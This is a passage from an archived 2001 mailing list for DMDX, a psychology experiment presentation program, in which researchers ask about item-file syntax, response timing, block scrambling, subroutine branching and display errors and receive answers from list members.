affect the preparation B times however. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Democracy is a government where you can say what you think even if you don't think. >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 1 06:03:05 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id GAA10966 for ; Wed, 1 Aug 2001 06:02:26 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f71D2Pp14780 for ; Wed, 1 Aug 2001 15:02:25 +0200 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] writing RTF codes directly into DMDX item files? Date: Wed, 1 Aug 2001 15:02:09 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I want to insert RTF code to write a specific ASCII character directly into the item file (as opposed to pasting the character itself into WordPad) Using WordPad or Word I can insert the appropriate character at the size I want (a 72 point dot) in the item file and the RTF coding looks like this: 1 ""+"", ""\\f1\\fs144\\'b7\\f0\\fs22 "" /; \\par e.g., font # 1, font size 144 half-points, character b7 (hex) Is there some way to explicitly write the codes: \\f1 \\fs144 \\'b7 into the item file? Why, because I have written a program to generate all the random sequences and parameters for cue and target stimuli presentations (location on screen and duration) in text format and I can't utilize special characters. True, I could/can/will? simply write 'CUE_symbol' and 'TARGET_symbol' in the original text and then while I have the file open in WORD to save it in RTF format, Replace 'CUE_symbol' with the desired graphic symbol. But why make life simple? :) Thank you, Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 1 08:06:16 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA11293 for ; Wed, 1 Aug 2001 08:06:06 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f71F64p16211 for ; Wed, 1 Aug 2001 17:06:04 +0200 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] Response contingency redux Date: Wed, 1 Aug 2001 17:05:48 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I want to present a stimulus and move on to the next frame immediately after the response, or patiently wait 2000 msec for a missed response before moving on. My attempts to follow suggestions of NoTimeLimit uses from past posts (e.g.,http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread?message=2065994) were not successful. Any suggestions? Thanks REM write fixation point and wait 750 msec 1 ""+"" / ; REM write target, start RT timer and leave on screen for 2000 msec if no response (doesn't work here!) +1 * ""+"", ""*"" /; REM trial #2 present target after 450 msec this time 2 ""+"" / ; +2 * ""+"", ""*"" /; 3 ... Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 1 09:39:33 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA11518 for ; Wed, 1 Aug 2001 09:39:18 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by deimos.email.Arizona.EDU (5.1.056) id 3B5F1B9D000854A5 for DMDX@psy1.psych.arizona.edu; Wed, 1 Aug 2001 09:39:17 -0700 Message-Id: <5.1.0.14.2.20010801093900.009e5330@psy1.psych.arizona.edu> Date: Wed, 01 Aug 2001 09:40:00 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Response contingency redux In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:05 PM 8/1/01 +0200, you wrote: >I want to present a stimulus and move on to the next frame immediately after >the response, or patiently wait 2000 msec for a missed response before >moving on. > >My attempts to follow suggestions of NoTimeLimit uses from past posts >(e.g.,http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread?message=2065994) >were not successful. You don't want . You want in the parameter line or in every item that you don't want to wait for a request. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 1 09:44:18 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA11561 for ; Wed, 1 Aug 2001 09:44:11 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by deimos.email.Arizona.EDU (5.1.056) id 3B5F1B9D000856B2 for DMDX@psy1.psych.arizona.edu; Wed, 1 Aug 2001 09:44:10 -0700 Message-Id: <5.1.0.14.2.20010801094316.009ee170@psy1.psych.arizona.edu> Date: Wed, 01 Aug 2001 09:44:54 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: writing RTF codes directly into DMDX item files? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:02 PM 8/1/01 +0200, you wrote: >Is there some way to explicitly write the codes: \\f1 \\fs144 \\'b7 into the >item file? Why, because I have written a program to generate all the random >sequences and parameters for cue and target stimuli presentations (location >on screen and duration) in text format and I can't utilize special >characters. > >True, I could/can/will? simply write 'CUE_symbol' and 'TARGET_symbol' in the >original text and then while I have the file open in WORD to save it in RTF >format, Replace 'CUE_symbol' with the desired graphic symbol. But why make >life simple? :)] I suspect you are going to use the answer you gave because the only other way to do it is to have your program generate the entire RTF file and that while complicated is no mean feat. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 2 15:35:59 2001 Received: from mailhost.auckland.ac.nz (mailhost.auckland.ac.nz [130.216.1.4]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA15174 for ; Thu, 2 Aug 2001 15:35:25 -0700 Received: from foaex01.auckland.ac.nz (foaex01.auckland.ac.nz [130.216.239.8]) by mailhost.auckland.ac.nz (8.9.2/8.9.2/8.9.2-ua) with ESMTP id KAA29480 for ; Fri, 3 Aug 2001 10:35:23 +1200 (NZST) Received: by foaex01.auckland.ac.nz with Internet Mail Service (5.5.2653.19) id <3VVZFTH0>; Fri, 3 Aug 2001 10:35:05 +1200 Message-ID: From: ""Rebecca Godfrey (FOA EDU)"" To: ""'DMDX@psy1.psych.arizona.edu'"" Subject: [DMDX] Scrambling Date: Fri, 3 Aug 2001 10:35:01 +1200 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Sorry to bother you all but I can't seem to get the right scrambling sorted out in my expt. I have two practice blocks of 8 items that I do NOT want scrambled and these two blocks need to stay in this order. Then six blocks of 16 items that i do want scrambled within each block but I want the order of the blocks to remain the same. I have read the scrambling notes and tutorials but can't seem to find the right answer. Is this possible to do? I have and in the command line, but I think my problem is an overuse of $s. Thanks Rebecca >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 2 15:59:45 2001 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA15251 for ; Thu, 2 Aug 2001 15:59:38 -0700 Received: from marcsmatlab ([137.154.107.107]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id f72MxYO25103 for ; Fri, 3 Aug 2001 08:59:34 +1000 (EST) Message-ID: <000b01c11ba7$9660cfe0$6b6b9a89@uws.edu.au> From: ""Helen Tam"" To: References: Subject: [DMDX] Re: Scrambling Date: Fri, 3 Aug 2001 09:05:13 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Try a back slash ""\\"" in between the blocks. Helen ----- Original Message ----- From: Rebecca Godfrey (FOA EDU) To: Sent: Friday, August 03, 2001 8:35 AM Subject: [DMDX] Scrambling > Sorry to bother you all but I can't seem to get the right scrambling sorted > out in my expt. I have two practice blocks of 8 items that I do NOT want > scrambled and these two blocks need to stay in this order. Then six blocks > of 16 items that i do want scrambled within each block but I want the order > of the blocks to remain the same. I have read the scrambling notes and > tutorials but can't seem to find the right answer. Is this possible to do? > > I have and in the command line, but I think my problem is an > overuse of $s. > > Thanks > > Rebecca > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 2 16:23:45 2001 Received: from mailhost.auckland.ac.nz (mailhost.auckland.ac.nz [130.216.191.4]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA15361 for ; Thu, 2 Aug 2001 16:23:34 -0700 Received: from foaex01.auckland.ac.nz (foaex01.auckland.ac.nz [130.216.239.8]) by mailhost.auckland.ac.nz (8.9.2/8.9.2/8.9.2-ua) with ESMTP id LAA11636 for ; Fri, 3 Aug 2001 11:23:33 +1200 (NZST) Received: by foaex01.auckland.ac.nz with Internet Mail Service (5.5.2653.19) id <3VVZFTT3>; Fri, 3 Aug 2001 11:23:14 +1200 Message-ID: From: ""Rebecca Godfrey (FOA EDU)"" To: ""'DMDX@psy1.psych.arizona.edu'"" Subject: [DMDX] RE: Re: Scrambling Date: Fri, 3 Aug 2001 11:23:11 +1200 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list THANK YOU! Helen, That has done the trick! >From DMDX-owner@psy1.psych.arizona.edu Fri Aug 3 10:34:54 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA17485 for ; Fri, 3 Aug 2001 10:34:39 -0700 From: dkp@email.arizona.edu Received: by deimos.email.Arizona.EDU (5.1.056) id 3B5F1B9D000B367D for DMDX@psy1.psych.arizona.edu; Fri, 3 Aug 2001 10:34:37 -0700 Message-ID: <3B5F1B9F00006D62@deimos.email.Arizona.EDU> Date: Fri, 3 Aug 2001 10:34:37 -0700 Subject: [DMDX] video cards To: ""dmdx"" MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list We have recently discovered a peculiar incompatibility between the Matrox G450 video card and dmdx. It goes like this: Dmdx displays properly to a monitor on either the primary or secondary output of the G450 card. However, dmdx's timing is VERY VERY messed up when it displays to svideo. Neither driver nor bios upgrades to the card have helped. I would very much appreciate it if anyone out there could name a high end AGP card with lots of memory (32 or 64?) on board that they KNOW correctly displays DMDX to a secondary svideo output. Thankyou, Dianne Patterson CNL University of Arizona >From DMDX-owner@psy1.psych.arizona.edu Mon Aug 6 16:05:25 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA25562 for ; Mon, 6 Aug 2001 16:03:09 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3B5F1B9D000E135B for DMDX@psy1.psych.arizona.edu; Mon, 6 Aug 2001 16:03:08 -0700 Message-Id: <5.1.0.14.2.20010806145821.00a113c0@psy1.psych.arizona.edu> Date: Mon, 06 Aug 2001 16:02:19 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] call and branch? Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Date: Mon, 6 Aug 2001 14:52:15 -0500 (EST) From: shannon r klatt To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] call and branch? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi fellow DMDX users. I'm trying to set up an experiment that consists of pairs of critical items, and if either of the items within a pair are responded to incorrectly I would like that pair of items to be repeated randomly between the other pairs at some later time. I'm assuming this would require the call or branch keywords, but I have yet to come up with a working script. Does anyone have any previous experience with this, or any ideas on how I might accomplish this? Thanks- Shannon You will have to use both counters and branches, to make life easier using a call to a subroutine is probably more appropriate. Initially you'll want to set some counters up, one for each possible stimulus you might want to re-present and set them to zero. You'll want to setup a subroutine in which you'll branch based on the counter's value over the items to present that stimulus, using for example , you'll also want to branch over them based on the random number branch -- which means there will be a chance that that item won't get presented again. When you present the stimuli initially if the subject responds incorrectly you'll want to set the corresponding counter to 1 (so the subroutine will re-present that stimuli). Additionally the re-presenting subroutine will want to set that counter back to zero when it does re-present that stimulus. The you'll want to call that routine at every place you might like to re-present some stimuli. Actual code will look something like the following: f30 0 d0 c ; 100 d0 c ; 0 d0 c ; 0 d0 c ; +101 ""re-present item 1"" * ; 110 d0 c 0 d0 c ; 0 d0 c ; +102 ""re-present item 2"" * ; 120 ; 1000 ""instructions""; +1001 ""item 1"" * ; +1002 ""item 2"" * ; If the random probability isn't nice you could expand the subroutine that gets called so that it randomly incremented a counter a couple of times and change the re-presentation to decrement the counter (once it's been detected as non-zero) and only re-present the stimuli if that counter then goes back to zero: f30 0 d0 c ; 100 d0 c ; ! now our subroutine either re-presents if response was right otherwise it sets up a counter for the main items to store in the respective counter; 10 ; 10 ; 10 ; 10 ; 100 d0 c ; 0 d0 c ; +101 ""re-present item 1"" * ; 110 d0 c 0 d0 c ; +102 ""re-present item 2"" * ; 120 ; 1000 ""instructions""; +1001 ""item 1"" * ; 0 d0 c ; +1002 ""item 2"" * ; 0 d0 c ; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Democracy is a government where you can say what you think even if you don't think. >From DMDX-owner@psy1.psych.arizona.edu Tue Aug 7 00:18:14 2001 Received: from post.psych.unimelb.edu.au (post.psych.unimelb.edu.au [128.250.173.213]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id AAA26525 for ; Tue, 7 Aug 2001 00:17:56 -0700 Received: from pc172-78.psych.unimelb.edu.au (pc172-78.psych.unimelb.edu.au [128.250.172.78]) by post.psych.unimelb.edu.au (8.9.3/8.9.3) with ESMTP id RAA12907 for ; Tue, 7 Aug 2001 17:17:19 +1000 Message-Id: <5.1.0.14.2.20010807170047.04e93ab0@post.psych.unimelb.edu.au> Date: Tue, 07 Aug 2001 17:17:14 +1000 To: DMDX@psy1.psych.arizona.edu From: Peter Straffon Subject: [DMDX] Sound and text at different rates Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi DMDXers I have been using a task where we have sound and text displayed at different rates. I need to have the text appear at one rate and the sounds at another. This is so the two stimulus are not synchronised and contain different stimulus at the same rate (according to the principle investigator). I asked the list this before and Jonathan said: >At 02:52 28/07/2001, j.c.f. wrote: > You have a number of choices, however both will still require edits of > any given item file, however such edits will be limited to the first > couple of lines. You can either use macros that expand to the various > frame durations or you can use counters and the keyword. Unfortunately I am not the greatest DMDX user and cannot get this to work. Currently I use item files that contain something like: 0 ""sound1""/%109 ""text 1""/ ""sound2"" %13/ %109 ""text 2""/ ""sound3"" %26/ %109 ""text 3""/ ""sound4"" %39/ %109 ""text 4/ ... This gives an output with the sound blocks starting at a slightly (1/4 second) faster rate then the text. The problem is I need to change the task to make it more time variable. We want to change the text rate and sound rate for each trial. I could code all the possible combinations (not fun) or find a way of doing it by a single change at the start. I started writting a VB front end to but I'm stuck working out how the change is limited to ""the first couple of lines"". I am sure Jonathan had an idea what to do but I am not sure if I should be doing it completely differently or just missing something simple. Thanks in advance PETEr Peter Straffon p.straffon@psych.unimelb.edu.au School of Behavioural Science Phone +61(3) 83447773 The University Of Melbourne AUSTRALIA. >From DMDX-owner@psy1.psych.arizona.edu Tue Aug 7 01:30:47 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id BAA26696 for ; Tue, 7 Aug 2001 01:30:36 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f778UZp17939 for ; Tue, 7 Aug 2001 10:30:35 +0200 From: ""Derek N. Eder"" To: Subject: [DMDX] ing problems ending frame after button press response Date: Tue, 7 Aug 2001 10:30:06 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I am still suffering from the inescapable (?) beginners struggle with what must be a classic 'hello world' type program. (1) In a reaction time test ('press button after presentation of target') - I want the frame to end immediately after the 'reaction' button press. The example below does not function as desired. The frame does not terminate upon a key press, rather it remains displayed for the full 2 seconds (default trial time). In the actual test, the latencies to target presentation and ISI's are varied from trial to trial so the waits must be designated in each item line. ; 1 ""+"" /; * ""+"", ""target"" /; j.c.f. findly suggested: ""You don't want . You want in the parameter line or in every item that you don't want to wait for a request"" ... but my attempts to implement this have been futile. (2) Is there any way to display a constant fixation point (a ""+"" at XY 0.5, 0.5) that does not blink come hell or high water during the comings and goings of various frames? I don't want my fixation point to flicker once over the course of some 800 audio and visual stimuli. In the example below, the fixation blinks when the wav file starts playing. ^2 ""+"" / ""beep.wav"" / * ""+"" , ""target""> (3) Is the keyword still extant? My DMDX version 2.4.08 does not accept it, e.g., I thought that this might help speed up the presentation of the 100 or more times I will play a given wav file in my test. Would someone please be so kind as to demonstrate the proper coding of my desires? Many thanks! Derek Eder Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Tue Aug 7 01:43:15 2001 Received: from yellow.csi.cam.ac.uk (exim@yellow.csi.cam.ac.uk [131.111.8.67]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id BAA26754 for ; Tue, 7 Aug 2001 01:43:07 -0700 Received: from njsjg2 (helo=localhost) by yellow.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1) id 15U2SB-00004R-00 for DMDX@psy1.psych.arizona.edu; Tue, 07 Aug 2001 09:43:07 +0100 Date: Tue, 7 Aug 2001 09:43:07 +0100 (BST) From: ""Nicholas J.S. Gibson"" To: Subject: [DMDX] Re: ing problems ending frame after button press response In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list As for problem one, just remove the frame delimiter at the end of each line, i.e., > +1 * ""+"", ""target"" /; should be: > +1 * ""+"", ""target"" ; Nick -- Psychology and Religion Research Programme Faculty of Divinity, University of Cambridge West Road, Cambridge, CB3 9BS, UK phone/fax: +44 1223 763010/763003 http://www.divinity.cam.ac.uk/pcp/ Today 10:30am, Derek N. Eder wrote: > I am still suffering from the inescapable (?) beginners struggle with what > must be a classic 'hello world' type program. > > (1) In a reaction time test ('press button after presentation of target') - > I want the frame to end immediately after the 'reaction' button press. > > The example below does not function as desired. The frame does not > terminate upon a key press, rather it remains displayed for the full 2 > seconds (default trial time). In the actual test, the latencies to target > presentation and ISI's are varied from trial to trial so the waits must be > designated in each item line. > > > > ; > 1 ""+"" /; > > > j.c.f. findly suggested: ""You don't want . You want > in the parameter line > or in every item that you don't want to wait for a request"" ... > but my attempts to implement this have been futile. > > (2) Is there any way to display a constant fixation point (a ""+"" at XY 0.5, > 0.5) that does not blink come hell or high water during the comings and > goings of various frames? I don't want my fixation point to flicker once > over the course of some 800 audio and visual stimuli. In the example below, > the fixation blinks when the wav file starts playing. > > simultaneously, get RT> > > ^2 ""+"" / ""beep.wav"" / * 2000> ""+"" , > ""target""> > > (3) Is the keyword still extant? My DMDX version 2.4.08 does > not accept it, e.g., I thought that this might help speed up > the presentation of the 100 or more times I will play a given wav file in my > test. > > Would someone please be so kind as to demonstrate the proper coding of my > desires? > > > > Many thanks! > > Derek Eder > > > > Derek N. Eder > G�teborgs Universitet > Institutionen f�r klinisk neurovetenskap - psykiatri > Sahlgrenska universitetssjukhuset SS/SU > Bl� straket 17b > SE 413 45 G�teborg > Sverige > > Tlf. +46 (031) 34 26 139 > Fax. +46 (031) 34 21 533 > derek.eder@neuro.gu.se > > > Gothenburg University > Institute of Clinical Neuroscience, > Section for Psychiatry > Salhgrenska Hospital SU/SS > SE 413 45 G�teborg > Sweden > > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Tue Aug 7 09:17:28 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA27664 for ; Tue, 7 Aug 2001 09:17:15 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by phobos.email.Arizona.EDU (5.1.056) id 3B698B3100053772 for DMDX@psy1.psych.arizona.edu; Tue, 7 Aug 2001 09:17:14 -0700 Message-Id: <5.1.0.14.2.20010807090018.009f2140@psy1.psych.arizona.edu> Date: Tue, 07 Aug 2001 09:18:19 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Sound and text at different rates In-Reply-To: <5.1.0.14.2.20010807170047.04e93ab0@post.psych.unimelb.edu. au> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:17 PM 8/7/01 +1000, you wrote: >I am sure Jonathan had an idea what to do but I am not sure if I should be >doing it completely differently or just missing something simple. http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhmacrodefinitionkeyword.htm -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ While it may be true that a watched pot never boils, the one you don't keep an eye on can make an awful mess of your stove. - Edward Stevenson >From DMDX-owner@psy1.psych.arizona.edu Tue Aug 7 09:32:22 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA27761 for ; Tue, 7 Aug 2001 09:32:16 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by phobos.email.Arizona.EDU (5.1.056) id 3B698B3100053F44 for DMDX@psy1.psych.arizona.edu; Tue, 7 Aug 2001 09:32:15 -0700 Message-Id: <5.1.0.14.2.20010807091952.009ec160@psy1.psych.arizona.edu> Date: Tue, 07 Aug 2001 09:33:20 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: ing problems ending frame after button press response In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:30 AM 8/7/01 +0200, you wrote: >I am still suffering from the inescapable (?) beginners struggle with what >must be a classic 'hello world' type program. Alas, build a tool that a fool can use and only a fool will want to use it. DMDX is unfortunately an ""in extremis"" example of this aphorism. >(2) Is there any way to display a constant fixation point (a ""+"" at XY 0.5, >0.5) that does not blink come hell or high water during the comings and >goings of various frames? I don't want my fixation point to flicker once >over the course of some 800 audio and visual stimuli. In the example below, >the fixation blinks when the wav file starts playing. > > fixation+target >simultaneously, get RT> > > ^2 ""+"" / ""beep.wav"" / > * 2000> ""+"" , > ""target""> I would have said your construction was correct although specifying the duration of a frame that ends in a comma is superfluous, assuming the obvious ungrammatical > just an artifact of your cutting and pasting it should be: ^2 ""+"" / ""beep.wav"" / * ""+"" , ""target""; I am surprised to hear that there is a blink where you say it is, audio frames don't have a visual component. You're sure it's not some feedback being displayed? I don't notice any in your parameter line. >(3) Is the keyword still extant? My DMDX version 2.4.08 does >not accept it, e.g., I thought that this might help speed up >the presentation of the 100 or more times I will play a given wav file in my >test. It was added in 2.4.09. >Would someone please be so kind as to demonstrate the proper coding of my >desires? Alas we all have our own lives to lead so successive approximations is all you'll get. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ While it may be true that a watched pot never boils, the one you don't keep an eye on can make an awful mess of your stove. - Edward Stevenson >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 8 09:26:58 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA30585 for ; Wed, 8 Aug 2001 09:26:19 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f78GQHp09578 for ; Wed, 8 Aug 2001 18:26:17 +0200 From: ""Derek N. Eder"" To: Subject: [DMDX] Display error: flipping (me) off :) Date: Wed, 8 Aug 2001 18:25:42 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello, Thank you everyone for your help in getting me on my feet over the past few days. I have a functional covert orienting experiment developed in DMDX and am quite pleased with the process. I do have a question however that relates to the error messages I am seeing when I run the program. The help file section on 'common errors' explains that my 'Display errors' may be ameanable to tweaking of the sleep times and page bliting parameters. I have cut down the sleep to 5 (from 13) and blitting to 100 (from 200) without benefit. Without knowing what I am doing, further tweaking is more blind trial and error than I prefer. Do these errors really amount to anything in my application (i.e., can I ignore them?) I am displaying black and white text symbols at 600 x 800, 8 bits on an 8MB ATI Rage-Pro display card. DirectX v. 8. I am networked and have not disabled file and resource sharing (yet). Thanks, Derek ### errors ### Subject 1, 08/08/2001 14:13:47 on Joni, refresh 13.35ms Item RT 1 -910.77 2 4000.00 ! Display error at msec 8146.79, tick 608 in item 1000, frame ""."" ! 8.69ms of refused video flips occured ! (previous frame's duration will have been longer) 3 4000.00 ! Display error at msec 14008.12, tick 1037 in item 1000, frame ""."" ! 6.99ms of refused video flips occured ! (previous frame's duration will have been longer) ! -- possibly caused by another process taking 10 ticks . . . ### offending item file ### ^1 ""beep.wav"" / ""."" / * ""+"" ; 1000 / ""."" /; ^2 ""beep.wav"" / ""."" / ""*"" / * ""+"" ; 1000 / ""."" /; ^3 ""beep.wav"" / ""."" / ""*"" / * ""+"" ; . . . ; Many thanks! Derek Eder Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 8 10:42:19 2001 Received: from mps2.leeds.ac.uk (mps2.leeds.ac.uk [129.11.16.22]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA30821 for ; Wed, 8 Aug 2001 10:42:02 -0700 From: 